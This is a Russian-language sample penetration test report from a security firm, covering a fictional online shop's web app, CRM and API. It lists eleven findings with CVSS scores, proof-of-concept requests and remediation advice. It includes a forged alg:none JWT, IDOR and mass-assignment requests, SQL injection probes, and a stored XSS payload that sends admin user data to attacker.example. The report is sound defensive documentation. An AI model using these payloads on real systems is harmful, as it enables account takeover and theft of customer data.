iS·74
ГлавнаяПодход → Развёрнутый образец отчёта

Отчёт по тестированию на проникновение

Развёрнутый образец: область, методология, находки с оценкой CVSS, доказательствами и рекомендациями.

Объект: интернет-магазин «ПримерШоп» (вымышленный) — веб-приложение, CRM, APIТип тестирования: grey-box (с учётными записями по ролям)Период: 00.00.0000 – 00.00.0000Методики: OWASP WSTG, OWASP API Security Top 10 (2023)Исполнитель: специалист по ИБ, iS·74Версия отчёта: 1.0 · Конфиденциально

1. Резюме для руководства

В ходе тестирования веб-приложения, CRM и API «ПримерШоп» выявлено 11 значимых недостатка безопасности, из них 2 критического уровня. Наиболее опасные позволяют полностью обойти аутентификацию (подделка JWT) и получить доступ к данным и заказам любого клиента (нарушение разграничения доступа). В совокупности недостатки дают возможность захватить административный доступ, выгрузить клиентскую базу с персональными данными и вмешаться в работу магазина. Общая оценка риска — высокий. Первоочередные меры: устранить обход аутентификации (F-01), закрыть доступ к чужим объектам (F-02) и запретить присвоение роли из запроса (F-03).

Распределение находок

CRITICAL
2
HIGH
4
MEDIUM
3
LOW
2

2. Область и методология

В области тестирования: клиентский веб-портал, панель CRM, программный интерфейс (API) и механизмы аутентификации и разграничения доступа. Вне области: нагрузочное тестирование, социальная инженерия, атаки на инфраструктуру хостинг-провайдера.

Метод: grey-box — с выданными учётными записями по каждой роли (Admin, Manager, Client, Warehouse, Courier). Тестирование по OWASP Web Security Testing Guide и OWASP API Security Top 10. Инструменты: Burp Suite, sqlmap, nuclei, ffuf, jwt_tool, testssl.sh, Postman.

Модель нарушителя: внешний пользователь с учётной записью клиента, действующий через публичные интерфейсы.

3. Как читать оценки

Уровень каждой находки определён по CVSS 3.1 и бизнес-влиянию: CRITICAL 9.0–10.0 · HIGH 7.0–8.9 · MEDIUM 4.0–6.9 · LOW 0.1–3.9. Для каждой уязвимости приведён вектор CVSS и ссылка на OWASP/CWE.

4. Сводная таблица находок

IDУязвимостьУровеньCVSSCWE
F-01Обход аутентификации: подпись JWT не проверяетсяCRITICAL9.8CWE-347
F-02Доступ к чужим заказам и клиентам по идентификатору (IDOR / BOLA)CRITICAL8.6CWE-639
F-03Повышение привилегий через неконтролируемое присвоение полей (mass assignment)HIGH8.8CWE-915
F-04SQL-инъекция в параметре сортировкиHIGH8.6CWE-89
F-05Отсутствие ограничения попыток входа (brute force)HIGH7.5CWE-307
F-06Хранимый межсайтовый скриптинг (Stored XSS) в комментарии к заказуHIGH7.4CWE-79
F-07Небезопасная конфигурация CORSMEDIUM6.5CWE-942
F-08Массовая выгрузка данных: пагинация без верхнего пределаMEDIUM6.5CWE-770
F-09Отсутствие заголовков безопасности и HSTSMEDIUM5.3CWE-693
F-10Небезопасные атрибуты cookie сессииLOW3.7CWE-1004
F-11Раскрытие версий ПО и подробных ошибокLOW3.1CWE-209

5. Детализация уязвимостей

CRITICALCVSS 9.8

Обход аутентификации: подпись JWT не проверяется

Компонент
Механизм аутентификации API, эндпоинты под Authorization: Bearer
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H · CWE-347
Описание
Сервер принимает JWT с алгоритмом alg:none и не проверяет подпись HS256. Изменив полезную нагрузку токена (поле роли и идентификатор пользователя), можно выпустить токен любого пользователя, включая администратора, и получить полный доступ к CRM.
Доказательство
Исходный токен (декодирован):
{ "sub": 5012, "role": "client", "exp": ... }

Подделанный токен (alg:none, подпись пустая) принимается сервером:
Header:  { "alg": "none", "typ": "JWT" }
Payload: { "sub": 1, "role": "admin", "exp": ... }

GET /api/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOjEsInJvbGUiOiJhZG1pbiJ9.
→ 200 OK  (возвращён список всех пользователей CRM)
Шаги воспроизведения
  1. Авторизоваться обычным клиентом, перехватить выданный JWT.
  2. Заменить заголовок на {"alg":"none"}, в payload выставить role=admin и sub=1, убрать подпись.
  3. Повторить запрос к административному эндпоинту с поддельным токеном — сервер отвечает 200 и отдаёт данные администратора.
Влияние
Полная компрометация системы: доступ ко всем данным и функциям под любой ролью, включая администратора. Наивысший риск.
Рекомендации по устранению
Принудительно требовать алгоритм HS256/RS256 на сервере, запретить none; проверять подпись каждым запросом; хранить секрет достаточной длины вне кода; сверять роль и права на стороне сервера, а не из токена.
Ссылки
OWASP API2:2023 · CWE-347 (Improper Verification of Cryptographic Signature)
CRITICALCVSS 8.6

Доступ к чужим заказам и клиентам по идентификатору (IDOR / BOLA)

Компонент
GET /api/orders/{id}, GET /api/customers/{id}
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N · CWE-639
Описание
Сервер выдаёт объект по числовому идентификатору, не проверяя, принадлежит ли он текущему пользователю. Перебором id любой авторизованный покупатель читает чужие заказы и карточки клиентов: состав, суммы, ФИО, телефон, адрес доставки.
Доказательство
GET /api/orders/1041 HTTP/1.1
Host: primershop.example
Authorization: Bearer <токен покупателя A>

→ 200 OK
{ "id":1041, "customer":"Иванов И.И.", "phone":"+7 900 ...",
  "address":"...", "items":[...], "total":48250 }   ← заказ покупателя B
Шаги воспроизведения
  1. Открыть свой заказ, увидеть в запросе /api/orders/1042.
  2. Отправить запрос с соседними id (1041, 1040, ...).
  3. Автоматизировать перебор — выгружается вся база заказов и клиентов.
Влияние
Массовая утечка персональных данных и коммерческой информации всех клиентов; нарушение 152-ФЗ.
Рекомендации по устранению
Проверять владельца объекта на сервере при каждом запросе; использовать непредсказуемые идентификаторы (UUID); закрывать проверку прав на уровне всех методов API.
Ссылки
OWASP API1:2023 (BOLA) · CWE-639 · CWE-284
HIGHCVSS 8.8

Повышение привилегий через неконтролируемое присвоение полей (mass assignment)

Компонент
PATCH /api/profile
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H · CWE-915
Описание
Форма профиля обновляет объект пользователя целиком из тела запроса. Добавив в JSON поле роли, обычный пользователь повышает себе права до администратора.
Доказательство
PATCH /api/profile HTTP/1.1
Authorization: Bearer <токен клиента>
Content-Type: application/json

{ "name":"A", "role":"admin", "is_staff": true }

→ 200 OK   (роль в БД изменена на admin)
Шаги воспроизведения
  1. Отправить PATCH профиля, добавив в тело "role":"admin".
  2. Перелогиниться — учётная запись получила административные права.
Влияние
Вертикальная эскалация привилегий из клиентской роли до администратора.
Рекомендации по устранению
Белый список изменяемых полей (никогда не принимать role/permissions из запроса); менять роли только отдельным контролируемым процессом с проверкой прав.
Ссылки
OWASP API3:2023 (BOPLA) · CWE-915
HIGHCVSS 8.6

SQL-инъекция в параметре сортировки

Компонент
GET /api/products?sort=
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N · CWE-89
Описание
Значение параметра сортировки подставляется в SQL-запрос без параметризации. Возможно извлечение данных из БД за пределами каталога товаров.
Доказательство
GET /api/products?sort=price)%3BSELECT%20... HTTP/1.1

Подтверждено безопасной проверкой (без выгрузки данных):
sort=(CASE WHEN 1=1 THEN price ELSE name END)  → сортировка меняется,
sort=(CASE WHEN 1=2 THEN price ELSE name END)  → порядок иной
(булева инъекция подтверждена; массовая выборка не выполнялась)
Шаги воспроизведения
  1. В параметр sort передать булеву конструкцию CASE WHEN.
  2. Сравнить порядок выдачи для условий 1=1 и 1=2 — он различается, что подтверждает инъекцию.
  3. Дальнейшая эксплуатация не проводилась (только подтверждение).
Влияние
Потенциальная выгрузка всей БД (клиенты, цены, остатки, хэши паролей), в отдельных СУБД — запись/выполнение команд.
Рекомендации по устранению
Только параметризованные запросы/ORM; для сортировки — белый список допустимых колонок и направлений; минимальные права пользователя БД.
Ссылки
OWASP API8:2023 · CWE-89
HIGHCVSS 7.5

Отсутствие ограничения попыток входа (brute force)

Компонент
POST /api/login, восстановление пароля, OTP
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H · CWE-307
Описание
Нет ограничения частоты, блокировки и капчи. Возможен автоматизированный подбор паролей и кодов.
Доказательство
500 запросов /api/login с разными паролями за ~40 c — все обработаны,
без задержки, блокировки и капчи (проверено на тестовой учётной записи).
Шаги воспроизведения
  1. Сформировать список паролей, отправить серию запросов на /api/login.
  2. Убедиться, что ответы приходят без ограничений и блокировок.
Влияние
Компрометация учётных записей клиентов и сотрудников подбором; перебор кодов восстановления.
Рекомендации по устранению
Ограничение частоты по IP и логину, прогрессивная задержка, капча после нескольких неудач, оповещения, обязательная 2FA для сотрудников.
Ссылки
OWASP API4:2023 · CWE-307 · CWE-799
HIGHCVSS 7.4

Хранимый межсайтовый скриптинг (Stored XSS) в комментарии к заказу

Компонент
Поле «комментарий к заказу», отображается в панели менеджера
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N · CWE-79
Описание
Комментарий сохраняется и выводится в CRM без экранирования. Клиент внедряет скрипт, который выполняется в браузере менеджера/администратора при открытии заказа.
Доказательство
Комментарий к заказу:
<script>fetch('/api/admin/users').then(r=>r.text()).then(d=>
  navigator.sendBeacon('https://attacker.example/x', d))</script>

При открытии заказа менеджером скрипт исполняется в его сессии.
Шаги воспроизведения
  1. Создать заказ, в комментарий вставить полезную нагрузку со скриптом.
  2. Дождаться открытия заказа сотрудником — скрипт выполняется в его контексте (кража сессии, действия от его имени).
Влияние
Захват сессий сотрудников, действия от имени администратора, кража данных из CRM.
Рекомендации по устранению
Экранировать вывод по контексту, внедрить Content-Security-Policy, валидировать ввод; куки сессии — HttpOnly.
Ссылки
OWASP A03:2021 · CWE-79
MEDIUMCVSS 6.5

Небезопасная конфигурация CORS

Компонент
Заголовки CORS во всех ответах API
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N · CWE-942
Описание
Сервер отражает произвольный Origin в Access-Control-Allow-Origin и одновременно выставляет Access-Control-Allow-Credentials: true. Сторонний сайт может читать ответы API от имени залогиненного пользователя.
Доказательство
Запрос:  Origin: https://attacker.example
Ответ:   Access-Control-Allow-Origin: https://attacker.example
         Access-Control-Allow-Credentials: true
Шаги воспроизведения
  1. С внешнего домена выполнить fetch к API с credentials.
  2. Убедиться, что браузер отдаёт ответ стороннему скрипту.
Влияние
Кража данных пользователя со стороннего сайта, обход границы происхождения.
Рекомендации по устранению
Белый список доверенных Origin; не сочетать отражение Origin с credentials; для публичных данных — без credentials.
Ссылки
OWASP API8:2023 · CWE-942
MEDIUMCVSS 6.5

Массовая выгрузка данных: пагинация без верхнего предела

Компонент
GET /api/customers?per_page=
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N · CWE-770
Описание
Параметр размера страницы не ограничен сверху — один запрос возвращает всю базу клиентов. Отсутствует контроль объёма и роли.
Доказательство
GET /api/customers?per_page=100000 HTTP/1.1
→ 200 OK  (возвращены все клиенты одним ответом)
Шаги воспроизведения
  1. Указать большое значение per_page.
  2. Получить всю базу за один-два запроса (подтверждено на нескольких записях, полная выгрузка не выполнялась).
Влияние
Кража всей клиентской базы (ПДн), цен и остатков; конкурентная и репутационная угроза.
Рекомендации по устранению
Жёсткий верхний предел размера страницы, ограничение частоты, минимизация полей в списках, контроль доступа по роли, аудит массовых выборок.
Ссылки
OWASP API4:2023 · CWE-770 · CWE-213
MEDIUMCVSS 5.3

Отсутствие заголовков безопасности и HSTS

Компонент
HTTP-ответы веб-приложения (все страницы)
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N · CWE-693
Описание
Не заданы Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, X-Content-Type-Options.
Доказательство
HTTP/1.1 200 OK
Server: nginx
(перечисленные заголовки безопасности отсутствуют)
Шаги воспроизведения
  1. Запросить любую страницу, просмотреть заголовки ответа.
  2. Убедиться в отсутствии CSP/HSTS/X-Frame-Options/X-Content-Type-Options.
Влияние
Повышенная эксплуатируемость XSS, кликджекинг, риск даунгрейда соединения.
Рекомендации по устранению
Добавить полный набор заголовков безопасности на уровне сервера, включить HSTS, настроить CSP под используемые ресурсы.
Ссылки
OWASP A05:2021 · CWE-693
LOWCVSS 3.7

Небезопасные атрибуты cookie сессии

Компонент
Cookie сессии
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N · CWE-1004
Описание
Куки сессии выдаётся без флагов HttpOnly и SameSite, что упрощает кражу через XSS и CSRF.
Доказательство
Set-Cookie: session=...; Path=/     (нет HttpOnly, нет SameSite, нет Secure)
Шаги воспроизведения
  1. Просмотреть заголовок Set-Cookie при входе.
  2. Убедиться в отсутствии флагов HttpOnly/SameSite/Secure.
Влияние
Упрощает кражу сессии и межсайтовые запросы от имени пользователя.
Рекомендации по устранению
Выставить HttpOnly, Secure и SameSite=Lax/Strict для cookie сессии.
Ссылки
OWASP A05:2021 · CWE-1004 · CWE-614
LOWCVSS 3.1

Раскрытие версий ПО и подробных ошибок

Компонент
Заголовки ответа и страницы ошибок
Вектор CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N · CWE-209
Описание
Сервер раскрывает версии ПО в заголовках, а при ошибке отдаёт подробную техническую трассировку со стеком и SQL.
Доказательство
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/8.x
<трассировка с путями, стеком и текстом SQL-запроса>
Шаги воспроизведения
  1. Отправить некорректный запрос.
  2. Получить детальную ошибку со стеком; сверить версии в заголовках.
Влияние
Упрощает атакующему подбор известных уязвимостей под конкретные версии.
Рекомендации по устранению
Скрыть версии в заголовках, отключить подробные ошибки в проде (нейтральная страница), детали писать только в лог.
Ссылки
OWASP A05:2021 · CWE-209 · CWE-200

6. Итоговые рекомендации (по приоритету)

  1. Немедленно: исправить проверку подписи JWT (F-01), проверку владельца объекта во всех API (F-02), запретить присвоение роли из запроса (F-03).
  2. В ближайшее время: параметризовать запросы к БД (F-04), включить ограничение попыток входа и 2FA (F-05), экранировать вывод и внедрить CSP против XSS (F-06).
  3. Планово: исправить CORS (F-07), ограничить массовую выгрузку (F-08), добавить заголовки безопасности и HSTS (F-09), настроить флаги cookie (F-10), убрать раскрытие версий и ошибок (F-11).
  4. Процессно: внедрить проверку безопасности при разработке, ротацию секретов, мониторинг аномалий и регулярный повторный аудит.
  5. Ретест: повторная проверка после устранения с подтверждением закрытия каждой находки.

7. Приложение. Использованные инструменты

Burp SuiteOWASP ZAPsqlmapnucleiffufjwt_tooltestssl.shnmapPostmanmitmproxy

Нужен такой аудит вашей системы?

Первый шаг — бесплатная диагностика и согласование объёма работ.

Телефон: +7 951 433-55-34Telegram: @uan190176Email: one@its74.com
← Краткий образец   Методология →